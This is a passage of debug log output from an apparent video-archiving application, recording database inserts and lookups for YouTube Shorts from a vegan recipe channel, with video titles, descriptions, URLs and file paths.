(m0."source_id" = ?)) [~U[2023-09-05 18:30:23Z], 1] 20:31:09.595 [debug] QUERY OK source="media_items" db=0.6ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan smoothie cubes trim a few minutes off of your morning smoothie making. Meal prep a bunch of these to start your week and they'll make breakfast way easier throughout the week!\n\nSubscribe for more plant based and gluten free recipes! Thanks for watching!", "PB&J Smoothie Cubes 🫐 🍓 🍹Breakfast Meal Prep", "80da199d-c2ea-4495-8e2f-9a90a3435ec3", 1, [], 58, false, "c1QcA-TnUGg", "https://www.youtube.com/shorts/c1QcA-TnUGg", 131, "/downloads/downloads/alec/Steamy Vegan/2023-09-05 PB&J Smoothie Cubes 🫐 🍓 🍹Breakfast Meal Prep/PB&J Smoothie Cubes 🫐 🍓 🍹Breakfast Meal Prep [c1QcA-TnUGg].NA", false, false, true, 1, ~U[2023-09-05 18:30:23Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These vegan smoothie cubes trim a few minutes off of your morning smoothie making. Meal prep a bunch of these to start your week and they'll make breakfast way easier throughout the week!\n\nSubscribe for more plant based and gluten free recipes! Thanks for watching!", "PB&J Smoothie Cubes 🫐 🍓 🍹Breakfast Meal Prep", 1, 58, false, "c1QcA-TnUGg", "https://www.youtube.com/shorts/c1QcA-TnUGg", "/downloads/downloads/alec/Steamy Vegan/2023-09-05 PB&J Smoothie Cubes 🫐 🍓 🍹Breakfast Meal Prep/PB&J Smoothie Cubes 🫐 🍓 🍹Breakfast Meal Prep [c1QcA-TnUGg].NA", true, ~U[2023-09-05 18:30:23Z]] 20:31:09.596 [debug] QUERY OK source="sources" db=0.6ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.600 [debug] QUERY OK source="media_items" db=2.4ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-04 23:45:00Z], 1] 20:31:09.602 [debug] QUERY OK source="media_items" db=1.6ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We made 9 vegan salad dressings on the channel recently to raise your salad game including this delicious thousand island dressing. Stop wasting your money on store bought salad dressings and try out some of the homemade salad dressings we've created for you. \n\nSubscribe and check the full video out later or hit the play button at the bottom of the screen to start watching the full recipe video! Thanks for watching!", "Homemade Thousand Island BUT VEGAN 🥗", "b0eae073-359d-4947-ae15-3bc9efe239f1", 1, [], 35, false, "n6Yqkp1aDms", "https://www.youtube.com/shorts/n6Yqkp1aDms", 132, "/downloads/downloads/alec/Steamy Vegan/2023-09-04 Homemade Thousand Island BUT VEGAN 🥗/Homemade Thousand Island BUT VEGAN 🥗 [n6Yqkp1aDms].NA", false, false, true, 1, ~U[2023-09-04 23:45:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "We made 9 vegan salad dressings on the channel recently to raise your salad game including this delicious thousand island dressing. Stop wasting your money on store bought salad dressings and try out some of the homemade salad dressings we've created for you. \n\nSubscribe and check the full video out later or hit the play button at the bottom of the screen to start watching the full recipe video! Thanks for watching!", "Homemade Thousand Island BUT VEGAN 🥗", 1, 35, false, "n6Yqkp1aDms", "https://www.youtube.com/shorts/n6Yqkp1aDms", "/downloads/downloads/alec/Steamy Vegan/2023-09-04 Homemade Thousand Island BUT VEGAN 🥗/Homemade Thousand Island BUT VEGAN 🥗 [n6Yqkp1aDms].NA", true, ~U[2023-09-04 23:45:00Z]] 20:31:09.603 [debug] QUERY OK source="sources" db=0.8ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.604 [debug] QUERY OK source="media_items" db=1.7ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-02 22:30:04Z], 1] 20:31:09.605 [debug] QUERY OK source="media_items" db=0.5ms idle=8.5ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Tahini Pecan Date Bark 🤤 THE BEST DATE BARK", "357e0587-4ec5-43b4-92a1-b4fe5b69a58a", 1, [], 43, false, "cMgSOuRD1eo", "https://www.youtube.com/shorts/cMgSOuRD1eo", 133, "/downloads/downloads/alec/Steamy Vegan/2023-09-02 Tahini Pecan Date Bark 🤤 THE BEST DATE BARK/Tahini Pecan Date Bark 🤤 THE BEST DATE BARK [cMgSOuRD1eo].NA", false, false, true, 1, ~U[2023-09-02 22:30:04Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Tahini Pecan Date Bark 🤤 THE BEST DATE BARK", 1, 43, false, "cMgSOuRD1eo", "https://www.youtube.com/shorts/cMgSOuRD1eo", "/downloads/downloads/alec/Steamy Vegan/2023-09-02 Tahini Pecan Date Bark 🤤 THE BEST DATE BARK/Tahini Pecan Date Bark 🤤 THE BEST DATE BARK [cMgSOuRD1eo].NA", true, ~U[2023-09-02 22:30:04Z]] 20:31:09.606 [debug] QUERY OK source="sources" db=0.6ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.608 [debug] QUERY OK source="media_items" db=1.6ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-01 22:18:35Z], 1] 20:31:09.609 [debug] QUERY OK source="media_items" db=0.5ms idle=5.4ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a week for breakfast 🤤", "3824ff97-26d0-4c11-8866-67516bad9d42", 1, [], 14, false, "1LxEyBPi4j0", "https://www.youtube.com/shorts/1LxEyBPi4j0", 134, "/downloads/downloads/alec/Steamy Vegan/2023-09-01 What I eat in a week for breakfast 🤤/What I eat in a week for breakfast 🤤 [1LxEyBPi4j0].NA", false, false, true, 1, ~U[2023-09-01 22:18:35Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "What I eat in a week for breakfast 🤤", 1, 14, false, "1LxEyBPi4j0", "https://www.youtube.com/shorts/1LxEyBPi4j0", "/downloads/downloads/alec/Steamy Vegan/2023-09-01 What I eat in a week for breakfast 🤤/What I eat in a week for breakfast 🤤 [1LxEyBPi4j0].NA", true, ~U[2023-09-01 22:18:35Z]] 20:31:09.609 [debug] QUERY OK source="sources" db=0.5ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.611 [debug] QUERY OK source="media_items" db=1.8ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-31 17:14:00Z], 1] 20:31:09.612 [debug] QUERY OK source="media_items" db=0.7ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I made this viral peanut date bark vegan and it's probably my favorite vegan dessert of the year. It's a really easy vegan recipe that tastes so delicious and is much healthier then buying a candy bar from a store. \n\nSubscribe and check out the full video on my channel where I also show you a peanut free option and a delicious coconut option that you'll love! Thanks for watching!", "Peanut Date Bark 🥜 THE OG", "f680ae7b-a7a3-4497-8ce9-89985be7e7ed", 1, [], 58, false, "ZDU9YLu8Rec", "https://www.youtube.com/shorts/ZDU9YLu8Rec", 135, "/downloads/downloads/alec/Steamy Vegan/2023-08-31 Peanut Date Bark 🥜 THE OG/Peanut Date Bark 🥜 THE OG [ZDU9YLu8Rec].NA", false, false, true, 1, ~U[2023-08-31 17:14:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I made this viral peanut date bark vegan and it's probably my favorite vegan dessert of the year. It's a really easy vegan recipe that tastes so delicious and is much healthier then buying a candy bar from a store. \n\nSubscribe and check out the full video on my channel where I also show you a peanut free option and a delicious coconut option that you'll love! Thanks for watching!", "Peanut Date Bark 🥜 THE OG", 1, 58, false, "ZDU9YLu8Rec", "https://www.youtube.com/shorts/ZDU9YLu8Rec", "/downloads/downloads/alec/Steamy Vegan/2023-08-31 Peanut Date Bark 🥜 THE OG/Peanut Date Bark 🥜 THE OG [ZDU9YLu8Rec].NA", true, ~U[2023-08-31 17:14:00Z]] 20:31:09.614 [debug] QUERY OK source="sources" db=0.7ms queue=0.6ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.616 [debug] QUERY OK source="media_items" db=1.7ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-29 14:15:00Z], 1] 20:31:09.616 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Vegan + GF Strawberry Rhubarb 🍓", "c704c910-ff0f-4201-a661-2b185a8a04dc", 1, [], 33, false, "67K4Ojta1l4", "https://www.youtube.com/shorts/67K4Ojta1l4", 136, "/downloads/downloads/alec/Steamy Vegan/2023-08-29 Vegan + GF Strawberry Rhubarb 🍓/Vegan + GF Strawberry Rhubarb 🍓 [67K4Ojta1l4].NA", false, false, true, 1, ~U[2023-08-29 14:15:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Vegan + GF Strawberry Rhubarb 🍓", 1, 33, false, "67K4Ojta1l4", "https://www.youtube.com/shorts/67K4Ojta1l4", "/downloads/downloads/alec/Steamy Vegan/2023-08-29 Vegan + GF Strawberry Rhubarb 🍓/Vegan + GF Strawberry Rhubarb 🍓 [67K4Ojta1l4].NA", true, ~U[2023-08-29 14:15:00Z]] 20:31:09.617 [debug] QUERY OK source="sources" db=0.6ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.619 [debug] QUERY OK source="media_items" db=1.6ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-28 14:15:02Z], 1] 20:31:09.620 [debug] QUERY OK source="media_items" db=0.5ms idle=5.7ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Vegan Ramen Noodle Salad 🍜 🤤", "7a357e30-34c6-46ba-81af-a6d26b7b345c", 1, [], 31, false, "b1zjUgO6pmQ", "https://www.youtube.com/shorts/b1zjUgO6pmQ", 137, "/downloads/downloads/alec/Steamy Vegan/2023-08-28 Vegan Ramen Noodle Salad 🍜 🤤/Vegan Ramen Noodle Salad 🍜 🤤 [b1zjUgO6pmQ].NA", false, false, true, 1, ~U[2023-08-28 14:15:02Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Vegan Ramen Noodle Salad 🍜 🤤", 1, 31, false, "b1zjUgO6pmQ", "https://www.youtube.com/shorts/b1zjUgO6pmQ", "/downloads/downloads/alec/Steamy Vegan/2023-08-28 Vegan Ramen Noodle Salad 🍜 🤤/Vegan Ramen Noodle Salad 🍜 🤤 [b1zjUgO6pmQ].NA", true, ~U[2023-08-28 14:15:02Z]] 20:31:09.621 [debug] QUERY OK source="sources" db=0.7ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.624 [debug] QUERY OK source="media_items" db=1.8ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-26 14:29:00Z], 1] 20:31:09.625 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Looking for a new vegan and gluten free salad dressing to try out? This ranch powder is a MUST TRY vegan recipe and will save you money versus buying store bought...plus you'll actually know all the ingredients that go into it.\n\nRanch Powder\n3 tbsp nutritional yeast\n1 tsp dried chives\n2½ tbsp dried parsley\n1⅓ tbsp dried dill\n1½ tbsp onion powder\n1½ tbsp garlic powder\n¾ tsp black pepper\n1½ tsp sea salt\n\nSubscribe and make sure to check out all 9 of the homemade salad dressings I made on the channel. We even did a Barbie inspired salad dressing for you. Thanks for watching!", "Ranch powder?! 🤯 Never buy ranch dressing again!", "b3af8415-42b6-4bce-bb35-116331e130af", 1, [], 49, false, "TkUceMFK--0", "https://www.youtube.com/shorts/TkUceMFK--0", 138, "/downloads/downloads/alec/Steamy Vegan/2023-08-26 Ranch powder?! 🤯 Never buy ranch dressing again!/Ranch powder?! 🤯 Never buy ranch dressing again! [TkUceMFK--0].NA", false, false, true, 1, ~U[2023-08-26 14:29:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Looking for a new vegan and gluten free salad dressing to try out? This ranch powder is a MUST TRY vegan recipe and will save you money versus buying store bought...plus you'll actually know all the ingredients that go into it.\n\nRanch Powder\n3 tbsp nutritional yeast\n1 tsp dried chives\n2½ tbsp dried parsley\n1⅓ tbsp dried dill\n1½ tbsp onion powder\n1½ tbsp garlic powder\n¾ tsp black pepper\n1½ tsp sea salt\n\nSubscribe and make sure to check out all 9 of the homemade salad dressings I made on the channel. We even did a Barbie inspired salad dressing for you. Thanks for watching!", "Ranch powder?! 🤯 Never buy ranch dressing again!", 1, 49, false, "TkUceMFK--0", "https://www.youtube.com/shorts/TkUceMFK--0", "/downloads/downloads/alec/Steamy Vegan/2023-08-26 Ranch powder?! 🤯 Never buy ranch dressing again!/Ranch powder?! 🤯 Never buy ranch dressing again! [TkUceMFK--0].NA", true, ~U[2023-08-26 14:29:00Z]] 20:31:09.626 [debug] QUERY OK source="sources" db=0.8ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.628 [debug] QUERY OK source="media_items" db=1.9ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-23 14:15:03Z], 1] 20:31:09.629 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats", "83aecd89-f0f6-40ae-abd8-3807930367c3", 1, [], 14, false, "gaHc-XkQ5Gc", "https://www.youtube.com/shorts/gaHc-XkQ5Gc", 139, "/downloads/downloads/alec/Steamy Vegan/2023-08-23 It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats/It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats [gaHc-XkQ5Gc].NA", false, false, true, 1, ~U[2023-08-23 14:15:03Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats", 1, 14, false, "gaHc-XkQ5Gc", "https://www.youtube.com/shorts/gaHc-XkQ5Gc", "/downloads/downloads/alec/Steamy Vegan/2023-08-23 It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats/It’s always steamy in my vegan kitchen! 🥵🤤 What a vegan couple eats [gaHc-XkQ5Gc].NA", true, ~U[2023-08-23 14:15:03Z]] 20:31:09.629 [debug] QUERY OK source="sources" db=0.4ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.631 [debug] QUERY OK source="media_items" db=1.6ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-22 19:03:00Z], 1] 20:31:09.632 [debug] QUERY OK source="media_items" db=0.5ms idle=5.3ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat on a hot day 🥵 🌞 vegan and gf recipes", "5239b18f-86ac-41e6-b635-b584045f7e90", 1, [], 29, false, "epuX-NNUsSY", "https://www.youtube.com/shorts/epuX-NNUsSY", 140, "/downloads/downloads/alec/Steamy Vegan/2023-08-22 What I eat on a hot day 🥵 🌞 vegan and gf recipes/What I eat on a hot day 🥵 🌞 vegan and gf recipes [epuX-NNUsSY].NA", false, false, true, 1, ~U[2023-08-22 19:03:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "What I eat on a hot day 🥵 🌞 vegan and gf recipes", 1, 29, false, "epuX-NNUsSY", "https://www.youtube.com/shorts/epuX-NNUsSY", "/downloads/downloads/alec/Steamy Vegan/2023-08-22 What I eat on a hot day 🥵 🌞 vegan and gf recipes/What I eat on a hot day 🥵 🌞 vegan and gf recipes [epuX-NNUsSY].NA", true, ~U[2023-08-22 19:03:00Z]] 20:31:09.633 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.635 [debug] QUERY OK source="media_items" db=1.6ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-21 00:03:00Z], 1] 20:31:09.636 [debug] QUERY OK source="media_items" db=1.2ms idle=5.8ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day 🤤 vegan + gluten free recipes ❤️", "39372951-785a-4fac-ba69-b17f61aa770a", 1, [], 18, false, "yL-2_baT2Ic", "https://www.youtube.com/shorts/yL-2_baT2Ic", 141, "/downloads/downloads/alec/Steamy Vegan/2023-08-21 What I eat in a day 🤤 vegan + gluten free recipes ❤️/What I eat in a day 🤤 vegan + gluten free recipes ❤️ [yL-2_baT2Ic].NA", false, false, true, 1, ~U[2023-08-21 00:03:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "What I eat in a day 🤤 vegan + gluten free recipes ❤️", 1, 18, false, "yL-2_baT2Ic", "https://www.youtube.com/shorts/yL-2_baT2Ic", "/downloads/downloads/alec/Steamy Vegan/2023-08-21 What I eat in a day 🤤 vegan + gluten free recipes ❤️/What I eat in a day 🤤 vegan + gluten free recipes ❤️ [yL-2_baT2Ic].NA", true, ~U[2023-08-21 00:03:00Z]] 20:31:09.638 [debug] 